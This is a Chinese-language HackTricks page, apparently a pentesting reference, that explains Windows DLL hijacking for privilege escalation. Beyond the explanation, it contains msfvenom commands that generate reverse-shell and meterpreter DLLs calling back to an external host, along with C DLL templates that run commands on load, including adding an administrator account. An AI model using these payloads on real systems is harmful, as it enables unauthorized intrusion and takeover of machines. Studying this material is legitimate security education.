hacktricks/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md

16 KiB
Raw Blame History

Dll 劫持

从零到英雄学习 AWS 黑客攻击 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

如果您对 黑客职业 感兴趣并且想要黑入不可黑入的系统 - 我们正在招聘! (需要流利的波兰语书写和口语).

{% embed url="https://www.stmcyber.com/careers" %}

定义

首先让我们先弄清楚定义。从广义上讲DLL 劫持是 欺骗合法/受信任的应用程序加载任意 DLL。术语如 DLL 搜索顺序劫持DLL 加载顺序劫持DLL 伪装DLL 注入DLL 侧加载 经常被错误地用来表示相同的意思。

DLL 劫持可以用来 执行 代码、获得 持久性提升权限。在这三个中,最不可能 找到的是 权限提升。然而由于这是权限提升部分的一部分我将专注于这个选项。另外请注意无论目标是什么DLL 劫持的执行方式都是相同的。

类型

有多种方法可供选择,成功与否取决于应用程序配置加载其所需 DLL 的方式。可能的方法包括:

  1. DLL 替换:用恶意 DLL 替换合法 DLL。这可以与 DLL 代理 结合使用 [2],确保原始 DLL 的所有功能保持完整。
  2. DLL 搜索顺序劫持:应用程序未指定路径的 DLL 将按特定顺序在固定位置搜索 [3]。通过将恶意 DLL 放在实际 DLL 之前搜索的位置来劫持搜索顺序。这有时包括目标应用程序的工作目录。
  3. 幽灵 DLL 劫持:在合法应用程序尝试加载的缺失/不存在的 DLL 位置放置恶意 DLL [4]。
  4. DLL 重定向:更改搜索 DLL 的位置,例如通过编辑 %PATH% 环境变量或 .exe.manifest / .exe.local 文件以包含包含恶意 DLL 的文件夹 [5, 6]。
  5. WinSxS DLL 替换:在目标 DLL 的相关 WinSxS 文件夹中用恶意 DLL 替换合法 DLL。通常被称为 DLL 侧加载 [7]。
  6. 相对路径 DLL 劫持:将合法应用程序复制(并可选重命名)到用户可写文件夹,与恶意 DLL 放在一起。在使用这种方式时,它与(签名的)二进制代理执行 [8] 有相似之处。这种方法的一个变体是(有些矛盾地称为)‘带上你自己的 LOLbin [9],其中合法应用程序与恶意 DLL 一起带来(而不是从受害者机器上的合法位置复制)。

寻找缺失的 Dlls

在系统内寻找缺失的 Dlls 最常见的方法是运行来自 sysinternals 的 procmon设置 以下两个过滤器

并只显示 文件系统活动

如果您正在寻找 一般缺失的 dlls,您可以 让它运行几秒钟
如果您正在寻找 特定可执行文件内的缺失 dll,您应该设置 另一个过滤器,如 "进程名称" "包含" "<exec name>",执行它,并停止捕获事件

利用缺失的 Dlls

为了提升权限,我们最好的机会是能够 编写一个特权进程将尝试加载的 dll,在某个 将要搜索的地方。因此,我们将能够 在一个文件夹中编写 dll搜索 dll 的文件夹之前(奇怪的情况),或者我们将能够 在某个将要搜索 dll 的文件夹中写入,而原始的 dll 不存在 于任何文件夹。

Dll 搜索顺序

Microsoft 文档 中,您可以找到特定的 Dll 加载方式。

通常,Windows 应用程序 会使用 预定义的搜索路径来查找 DLL并且会按特定顺序检查这些路径。DLL 劫持通常通过将恶意 DLL 放在这些文件夹中的一个,同时确保在合法 DLL 之前找到该 DLL。通过让应用程序指定它需要的 DLL 的绝对路径可以缓解这个问题。

您可以在下面看到 32 位 系统上的 DLL 搜索顺序

  1. 加载应用程序的目录。
  2. 系统目录。使用 GetSystemDirectory 函数获取此目录的路径。(C:\Windows\System32)
  3. 16 位系统目录。没有函数可以获取此目录的路径,但它会被搜索。(C:\Windows\System)
  4. Windows 目录。使用 GetWindowsDirectory 函数获取此目录的路径。
  5. (C:\Windows)
  6. 当前目录。
  7. PATH 环境变量中列出的目录。请注意,这不包括由 App Paths 注册表键指定的每个应用程序路径。计算 DLL 搜索路径时不使用 App Paths 键。

这是启用 SafeDllSearchMode 时的 默认 搜索顺序。当它被禁用时,当前目录升至第二位。要禁用此功能,请创建 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 注册表值并将其设置为 0默认为启用

如果调用 LoadLibraryEx 函数并使用 LOAD_WITH_ALTERED_SEARCH_PATH,则搜索从 LoadLibraryEx 正在加载的可执行模块的目录开始。

最后,请注意,可以通过指定绝对路径而不仅仅是名称来加载 dll。在这种情况下dll 只会在该路径中搜索(如果 dll 有任何依赖,它们将被视为仅通过名称加载)。

还有其他方法可以改变搜索顺序,但我不打算在这里解释它们。

Windows 文档中 dll 搜索顺序的例外

  • 如果内存中已经加载了具有相同模块名称的 DLL,系统只会在解析到已加载的 DLL 之前检查重定向和清单,无论它在哪个目录中。系统不会搜索 DLL
  • 如果 DLL 在应用程序运行的 Windows 版本的 已知 DLL 列表 上,系统会使用其已知 DLL 的副本(以及任何依赖的已知 DLL如果有的话而不是搜索 DLL。有关当前系统上已知 DLL 的列表,请参阅以下注册表键:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
  • 如果 DLL 有依赖项,系统会像它们只是用它们的 模块名称 加载一样 搜索 依赖的 DLL。即使第一个 DLL 是通过指定完整路径加载的,这也是真的。

提升权限

先决条件

  • 找到一个进程,它运行/将以 其他权限 运行(水平/横向移动),它 缺少 dll
  • 在任何 dll 将要被 搜索文件夹 上拥有 写权限(可能是可执行文件目录或系统路径内的某个文件夹)。

是的,先决条件很难找到,因为 默认情况下,找到一个缺少 dll 的特权可执行文件有点奇怪,而且在系统路径文件夹上拥有写权限更是 更奇怪(默认情况下你不能)。但是,在配置不当的环境中,这是可能的。
如果你幸运地发现自己满足要求,你可以查看 UACME 项目。即使该项目的 主要目标是绕过 UAC,你也可能会在那里找到一个可以使用的 PoC(可能只是更改你有写权限的文件夹路径)。

请注意,您可以通过以下方式 检查您在文件夹中的权限

accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

检查 PATH 中所有文件夹的权限:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

你也可以使用以下方法检查一个可执行文件的导入和一个dll的导出

dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

为了全面指导如何滥用Dll劫持来提升权限,具有在系统路径文件夹中写入权限的检查:

{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %} writable-sys-path-+dll-hijacking-privesc.md {% endcontent-ref %}

自动化工具

Winpeas会检查你是否有系统PATH内任何文件夹的写入权限。
其他发现此漏洞的有趣自动化工具是PowerSploit函数Find-ProcessDLLHijackFind-PathDLLHijackWrite-HijackDll

示例

如果你发现了一个可利用的场景,成功利用它最重要的事情之一将是创建一个至少导出可执行文件将从中导入的所有函数的dll。无论如何请注意Dll劫持在从中等完整性级别提升到高级别 绕过UAC或从高完整性到SYSTEM时很方便。 你可以在这个专注于执行的dll劫持研究中找到一个如何创建有效dll的示例:https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows
此外,在下一节中,你可以找到一些基本dll代码,这些代码可能作为模板或创建不需要导出函数的dll时很有用。

创建和编译Dlls

Dll代理

基本上,Dll代理是一种能够在加载时执行恶意代码,但也能够通过转发所有调用到真实库暴露工作按预期的Dll。

使用工具**** DLLirant **** 或 **** Spartacus ****,你实际上可以指示一个可执行文件并选择你想要代理的库,并生成一个代理dll,或指示Dll生成一个代理dll

Meterpreter

获取反向shell (x64)

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

获取一个 meterpreter (x86)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

创建用户x86 我没有看到 x64 版本):

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

你自己的

请注意在多数情况下你编译的Dll必须导出多个函数,这些函数将被受害进程加载,如果这些函数不存在,二进制文件将无法加载它们,漏洞利用将失败

// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h>
#include<stdlib.h>
#include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">

如果您对**黑客职业**感兴趣,并且想要黑掉那些看似不可黑的目标 - **我们正在招聘!**_需要流利的波兰语书写和口语_。

{% embed url="https://www.stmcyber.com/careers" %}

<details>

<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>

支持HackTricks的其他方式

* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。

</details>